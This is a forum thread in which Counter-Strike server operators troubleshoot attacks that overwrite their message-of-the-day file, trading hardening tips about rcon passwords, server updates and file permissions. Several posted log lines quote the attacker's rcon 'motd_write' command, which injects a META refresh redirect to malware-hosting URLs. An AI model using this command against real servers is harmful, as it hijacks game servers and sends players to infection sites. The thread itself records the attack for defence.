[B3N4K]

Yes but for that they would have to be really interested in my server but this is global problems many people have. It's technically possible but obviously this wasn't the case..

[fysiks]

Originally Posted by B3N4K At least i know now where i WON'T get any useful help in the future about these things..

Does that mean we can look forward to never hearing from your whinny little face again?

You can't expect everybody in this community to know everything about everything. Yami was trying to help you but you essentially refused because it seems you assumed that Yami could read your mind.

[YamiKaitou]

Originally Posted by B3N4K Fixed in last HLDS so i will just go update..

Why would you be running an out-dated server anyways? Unless I'm mistaken, the last update to HLDS was 8/28/2012, and that was to fix a DoS issue.



Also, I was not going to respond back to you, but it seems that I will now. You are never as secure as you think you are. Do not make assumptions based on things you think make a difference. For example, a 20 character password can be brute-forced, just not quickly. Another example, just because you run the same plugin on all 3 servers and only 2 get "hacked", don't assume it isn't a plugin's fault, the author may just not have gotten to the third server yet or they don't care about it.


Also, that link you provide, it doesn't effect your "issue" as that issue is about a file download exploit

[eDga_nmc]

The problem is back for me though(i though that it was gone before, but it came back in few hours/days)... I deleted the motd and it still creates it with random virus link, i make it owner only and it still does change the text inside


Found the solution, just turn off your rcon.

logs/L0923021.log:L 09/23/2012 - 09:57:53: Rcon: "rcon 913679987 MYRCONPASSWORDISHERE motd_write <META HTTP-EQUIV=Refresh CONTENT="0 URL=http://searchedinfectious.pro/articles/news.php">" from "178.123.49.29:21567"

[Neeeeeeeeeel.-]

It's a silly solution but should work to prevent clients to get infected until you find the bug. Creates a plugin that deletes the motd file every map change...

[Gam3ronE]

Check your plugins (only use trusted ones). Change your rcon password (include symbols, letters, numbers, upper/lower case, 12-18 digits). Use fast download and then turn off allow client upload and download (set 0) - that's fine if you got fast dl. Use exploit protection e.g. antidl module for metamod. Keep passwords to yourself. Linux chmod your cstrike folder and motd/server.cfg files to 400. That's just a list of tips from things I've done before to improve security which you can try too if you want.

[luki1412]

damn I got it back too... motd changin to random virus containing sites, motd is always chmod 700, so it can only be plugin I think


also found

L 10/20/2012 - 21:33:28: Rcon: "rcon 769871625  MYRCON motd_write <META HTTP-EQUIV=Refresh CONTENT="0 URL=http://rdiofakeavremover.pro/ww/ractlazy.php?ntedapse=824892">" from "178.123.245.121:29416"

L 10/20/2012 - 21:31:51: Rcon: "rcon 769871625  MYRCON motd_write <META HTTP-EQUIV=Refresh CONTENT="0 URL=http://whiteboardshotelclubcom.pro/nine/history_greatest_real.php">" from "178.123.245.121:29416"

Today nothing and I removed old motd and changed rcon pass.

Ip of the hacker ?!

[fysiks]

Remove the rcon password entirely (rcon_password "") to disable rcon completely.

[mr_vai]

You are like me, bị hack qua RCON, off it going is a complete
rcon_password "" >> better
or rcon_password "123@abcd"

[Rosenstein]

Originally Posted by luki1412 .... motd is chmod 700, so it can only be plugin I think

Put chmod 444 on motd.txt.
It's not plugin's fault, update your server.
If you look carefully, you might find that there's server.cfg.ZTMP file in your cstrike directiry. If that's the case, update your server.